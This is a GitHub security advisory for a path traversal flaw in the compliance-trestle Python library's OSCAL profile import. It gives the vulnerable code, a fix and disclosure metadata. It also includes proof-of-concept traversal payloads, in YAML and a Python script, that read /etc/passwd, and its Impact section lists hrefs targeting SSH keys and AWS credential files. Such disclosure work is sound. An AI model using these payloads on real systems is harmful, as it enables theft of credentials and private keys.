GHSA-MJ4X-VF5C-5XG8

Vulnerability from github – Published: 2026-05-28 17:37 – Updated: 2026-05-28 17:37
VLAI
Summary
compliance-trestle Profile Import has an Arbitrary File Read via trestle:// URI and Relative Path Traversal
Details

Summary

The compliance-trestle library's profile import mechanism resolves trestle:// URIs and relative file paths by joining them with trestle_root and calling .resolve(), but performs no boundary check to ensure the resolved path stays within the trestle workspace. An attacker can craft a malicious OSCAL profile YAML with imports[].href containing path traversal sequences to read arbitrary files from the server filesystem.

Three attack vectors confirmed: 1. PT-001: trestle://../../etc/passwd — via trestle:// URI scheme 2. PT-002: ../../etc/passwd — via relative path in href 3. PT-003: back_matter rlinks with traversal paths

Preconditions: Victim must import/resolve an attacker-controlled OSCAL profile YAML.

Affected Component

Repository: https://github.com/IBM/compliance-trestle File: trestle/core/remote/cache.py (lines 175-179) File: trestle/core/resolver/_import.py (line 104) Version: v4.0.2 (latest as of 2026-04-30)

Vulnerable Code

cache.py:175-179 — LocalFetcher (trestle:// URI handling)

class LocalFetcher(FetcherBase):
    def __init__(self, trestle_root: pathlib.Path, uri: str) -> None:
        super().__init__(trestle_root, uri)
        # ...
        elif uri.startswith(const.TRESTLE_HREF_HEADING):
            uri = str(trestle_root / uri[len(const.TRESTLE_HREF_HEADING) :])
            self._abs_path = pathlib.Path(uri).resolve()
            # ❌ NO boundary check — .resolve() follows ../
            # ❌ NO is_relative_to() validation
            # ❌ Result can be /etc/passwd
            self._cached_object_path = self._abs_path
            return

cache.py:194 — LocalFetcher (relative path handling)

        # For relative paths (no trestle:// or file:// prefix):
        try:
            self._abs_path = pathlib.Path(uri).resolve()
            # ❌ Same issue — resolves relative to CWD with no boundary check
        except Exception:
            raise TrestleError(...)

_import.py:73-104 — Profile import href resolution

class Import(Pipeline.Filter):
    def __init__(self, ...):
        # Line 73-83: back_matter rlinks used directly
        if self._import.href[0] == '#':
            resource = [r for r in self._resources if r.uuid == self._import.href[1:]][0]
            self._import.href = [
                rlink.href  # ❌ rlink.href from OSCAL data — user-controlled
                for rlink in resource.rlinks
                if rlink.href.endswith('.json') or rlink.href.endswith('.yaml')
            ][0]

        # Line 104: href passed directly to FetcherFactory
        fetcher = cache.FetcherFactory.get_fetcher(self._trestle_root, self._import.href)

Root Cause: 1. Path(trestle_root / "../../etc/passwd").resolve() = /etc/passwd 2. No is_relative_to(trestle_root) check after resolve 3. TRESTLE_HREF_REGEX defined at const.py:253 but NEVER enforced (dead code) 4. Even if enforced, the regex '^trestle://[^/]' would PASS traversal payloads (. is [^/])

Steps to Reproduce

Prerequisites

pip install compliance-trestle==4.0.2

PoC: Malicious OSCAL Profile

# malicious_profile.yaml
profile:
  uuid: "550e8400-e29b-41d4-a716-446655440000"
  metadata:
    title: "Malicious Profile"
    version: "1.0"
    last-modified: "2024-01-01T00:00:00+00:00"
    oscal-version: "1.0.4"
  imports:
    - href: "trestle://../../../../../../etc/passwd"

PoC: Direct LocalFetcher Exploit

#!/usr/bin/env python3
"""PoC: trestle:// path traversal via real LocalFetcher"""
from pathlib import Path
from trestle.core.remote.cache import LocalFetcher
import tempfile

trestle_root = Path(tempfile.mkdtemp())

# Normal usage — stays within workspace
normal = LocalFetcher(trestle_root, "trestle://catalogs/test/catalog.json")
print(f"Normal: {normal._abs_path}")  # /tmp/xxx/catalogs/test/catalog.json

# Exploit — escapes workspace
evil = LocalFetcher(trestle_root, "trestle://../../../../../../etc/passwd")
print(f"Evil:   {evil._abs_path}")    # /etc/passwd
print(f"Content: {evil._abs_path.read_text().split(chr(10))[0]}")
# Output: root:x:0:0:root:/root:/bin/bash

Expected: Path traversal blocked with error Actual: /etc/passwd, /etc/shadow, /proc/self/environ read successfully

Remediation

class LocalFetcher(FetcherBase):
    def __init__(self, trestle_root: pathlib.Path, uri: str) -> None:
        super().__init__(trestle_root, uri)
        # ...
        elif uri.startswith(const.TRESTLE_HREF_HEADING):
            uri = str(trestle_root / uri[len(const.TRESTLE_HREF_HEADING) :])
            self._abs_path = pathlib.Path(uri).resolve()

            # ✅ ADD: Boundary check
            if not self._abs_path.is_relative_to(self._trestle_root):
                raise TrestleError(
                    f"Path traversal blocked: resolved path '{self._abs_path}' "
                    f"is outside trestle root '{self._trestle_root}'"
                )

            self._cached_object_path = self._abs_path
            return

Same fix needed for relative path handling at line 194.

Additionally, enforce TRESTLE_HREF_REGEX (already defined at const.py:253 but never used).

Resources

  • CWE-22: https://cwe.mitre.org/data/definitions/22.html
  • OSCAL Profile Resolution: https://pages.nist.gov/OSCAL/concepts/processing/profile-resolution/
  • compliance-trestle: https://github.com/IBM/compliance-trestle

Impact

  1. Credential Theft via OSCAL Import: ```yaml imports:

    • href: "trestle://../../root/.aws/credentials"
    • href: "trestle://../../root/.ssh/id_rsa" ```
  2. System Reconnaissance: ```yaml imports:

    • href: "trestle://../../etc/passwd"
    • href: "trestle://../../proc/self/environ" ```
  3. Supply Chain Attack: Attacker publishes malicious OSCAL profile to public compliance catalog. Organizations importing it leak server files during profile resolution.

  4. Dead Code Evidence: TRESTLE_HREF_REGEX defined at const.py:253 but never enforced anywhere — proves path validation was INTENDED but never implemented.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.0.2"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "compliance-trestle"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.0.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "compliance-trestle"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.12.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45774"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-28T17:37:08Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe compliance-trestle library\u0027s profile import mechanism resolves `trestle://` URIs and relative file paths by joining them with `trestle_root` and calling `.resolve()`, but performs **no boundary check** to ensure the resolved path stays within the trestle workspace. An attacker can craft a malicious OSCAL profile YAML with `imports[].href` containing path traversal sequences to read arbitrary files from the server filesystem.\n\nThree attack vectors confirmed:\n1. **PT-001:** `trestle://../../etc/passwd` \u2014 via trestle:// URI scheme\n2. **PT-002:** `../../etc/passwd` \u2014 via relative path in href\n3. **PT-003:** back_matter rlinks with traversal paths\n\n**Preconditions:** Victim must import/resolve an attacker-controlled OSCAL profile YAML.\n\n\n## Affected Component\n\n**Repository:** https://github.com/IBM/compliance-trestle\n**File:** `trestle/core/remote/cache.py` (lines 175-179)\n**File:** `trestle/core/resolver/_import.py` (line 104)\n**Version:** v4.0.2 (latest as of 2026-04-30)\n\n## Vulnerable Code\n\n### cache.py:175-179 \u2014 LocalFetcher (trestle:// URI handling)\n\n```python\nclass LocalFetcher(FetcherBase):\n    def __init__(self, trestle_root: pathlib.Path, uri: str) -\u003e None:\n        super().__init__(trestle_root, uri)\n        # ...\n        elif uri.startswith(const.TRESTLE_HREF_HEADING):\n            uri = str(trestle_root / uri[len(const.TRESTLE_HREF_HEADING) :])\n            self._abs_path = pathlib.Path(uri).resolve()\n            # \u274c NO boundary check \u2014 .resolve() follows ../\n            # \u274c NO is_relative_to() validation\n            # \u274c Result can be /etc/passwd\n            self._cached_object_path = self._abs_path\n            return\n```\n\n### cache.py:194 \u2014 LocalFetcher (relative path handling)\n\n```python\n        # For relative paths (no trestle:// or file:// prefix):\n        try:\n            self._abs_path = pathlib.Path(uri).resolve()\n            # \u274c Same issue \u2014 resolves relative to CWD with no boundary check\n        except Exception:\n            raise TrestleError(...)\n```\n\n### _import.py:73-104 \u2014 Profile import href resolution\n\n```python\nclass Import(Pipeline.Filter):\n    def __init__(self, ...):\n        # Line 73-83: back_matter rlinks used directly\n        if self._import.href[0] == \u0027#\u0027:\n            resource = [r for r in self._resources if r.uuid == self._import.href[1:]][0]\n            self._import.href = [\n                rlink.href  # \u274c rlink.href from OSCAL data \u2014 user-controlled\n                for rlink in resource.rlinks\n                if rlink.href.endswith(\u0027.json\u0027) or rlink.href.endswith(\u0027.yaml\u0027)\n            ][0]\n\n        # Line 104: href passed directly to FetcherFactory\n        fetcher = cache.FetcherFactory.get_fetcher(self._trestle_root, self._import.href)\n```\n\n**Root Cause:**\n1. `Path(trestle_root / \"../../etc/passwd\").resolve()` = `/etc/passwd`\n2. No `is_relative_to(trestle_root)` check after resolve\n3. `TRESTLE_HREF_REGEX` defined at `const.py:253` but **NEVER enforced** (dead code)\n4. Even if enforced, the regex `\u0027^trestle://[^/]\u0027` would PASS traversal payloads (`.` is `[^/]`)\n\n\n## Steps to Reproduce\n\n### Prerequisites\n\n```bash\npip install compliance-trestle==4.0.2\n```\n\n### PoC: Malicious OSCAL Profile\n\n```yaml\n# malicious_profile.yaml\nprofile:\n  uuid: \"550e8400-e29b-41d4-a716-446655440000\"\n  metadata:\n    title: \"Malicious Profile\"\n    version: \"1.0\"\n    last-modified: \"2024-01-01T00:00:00+00:00\"\n    oscal-version: \"1.0.4\"\n  imports:\n    - href: \"trestle://../../../../../../etc/passwd\"\n```\n\n### PoC: Direct LocalFetcher Exploit\n\n```python\n#!/usr/bin/env python3\n\"\"\"PoC: trestle:// path traversal via real LocalFetcher\"\"\"\nfrom pathlib import Path\nfrom trestle.core.remote.cache import LocalFetcher\nimport tempfile\n\ntrestle_root = Path(tempfile.mkdtemp())\n\n# Normal usage \u2014 stays within workspace\nnormal = LocalFetcher(trestle_root, \"trestle://catalogs/test/catalog.json\")\nprint(f\"Normal: {normal._abs_path}\")  # /tmp/xxx/catalogs/test/catalog.json\n\n# Exploit \u2014 escapes workspace\nevil = LocalFetcher(trestle_root, \"trestle://../../../../../../etc/passwd\")\nprint(f\"Evil:   {evil._abs_path}\")    # /etc/passwd\nprint(f\"Content: {evil._abs_path.read_text().split(chr(10))[0]}\")\n# Output: root:x:0:0:root:/root:/bin/bash\n```\n\n**Expected:** Path traversal blocked with error\n**Actual:** `/etc/passwd`, `/etc/shadow`, `/proc/self/environ` read successfully\n\n\n## Remediation\n\n```python\nclass LocalFetcher(FetcherBase):\n    def __init__(self, trestle_root: pathlib.Path, uri: str) -\u003e None:\n        super().__init__(trestle_root, uri)\n        # ...\n        elif uri.startswith(const.TRESTLE_HREF_HEADING):\n            uri = str(trestle_root / uri[len(const.TRESTLE_HREF_HEADING) :])\n            self._abs_path = pathlib.Path(uri).resolve()\n\n            # \u2705 ADD: Boundary check\n            if not self._abs_path.is_relative_to(self._trestle_root):\n                raise TrestleError(\n                    f\"Path traversal blocked: resolved path \u0027{self._abs_path}\u0027 \"\n                    f\"is outside trestle root \u0027{self._trestle_root}\u0027\"\n                )\n\n            self._cached_object_path = self._abs_path\n            return\n```\n\nSame fix needed for relative path handling at line 194.\n\nAdditionally, enforce `TRESTLE_HREF_REGEX` (already defined at `const.py:253` but never used).\n\n\n## Resources\n\n- **CWE-22:** https://cwe.mitre.org/data/definitions/22.html\n- **OSCAL Profile Resolution:** https://pages.nist.gov/OSCAL/concepts/processing/profile-resolution/\n- **compliance-trestle:** https://github.com/IBM/compliance-trestle\n\n## Impact\n\n1. **Credential Theft via OSCAL Import:**\n   ```yaml\n   imports:\n     - href: \"trestle://../../root/.aws/credentials\"\n     - href: \"trestle://../../root/.ssh/id_rsa\"\n   ```\n\n2. **System Reconnaissance:**\n   ```yaml\n   imports:\n     - href: \"trestle://../../etc/passwd\"\n     - href: \"trestle://../../proc/self/environ\"\n   ```\n\n3. **Supply Chain Attack:**\n   Attacker publishes malicious OSCAL profile to public compliance catalog. Organizations importing it leak server files during profile resolution.\n\n4. **Dead Code Evidence:**\n   `TRESTLE_HREF_REGEX` defined at `const.py:253` but never enforced anywhere \u2014 proves path validation was INTENDED but never implemented.",
  "id": "GHSA-mj4x-vf5c-5xg8",
  "modified": "2026-05-28T17:37:08Z",
  "published": "2026-05-28T17:37:08Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/oscal-compass/compliance-trestle/security/advisories/GHSA-mj4x-vf5c-5xg8"
    },
    {
      "type": "WEB",
      "url": "https://github.com/oscal-compass/compliance-trestle/commit/5c65c5926fe7ca908b9c1d281f904e7d97ba8310"
    },
    {
      "type": "WEB",
      "url": "https://github.com/oscal-compass/compliance-trestle/commit/d00a0c2f702c24f7016009fbd626036f5c46f47b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/oscal-compass/compliance-trestle"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "compliance-trestle Profile Import has an Arbitrary File Read via trestle:// URI and Relative Path Traversal"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…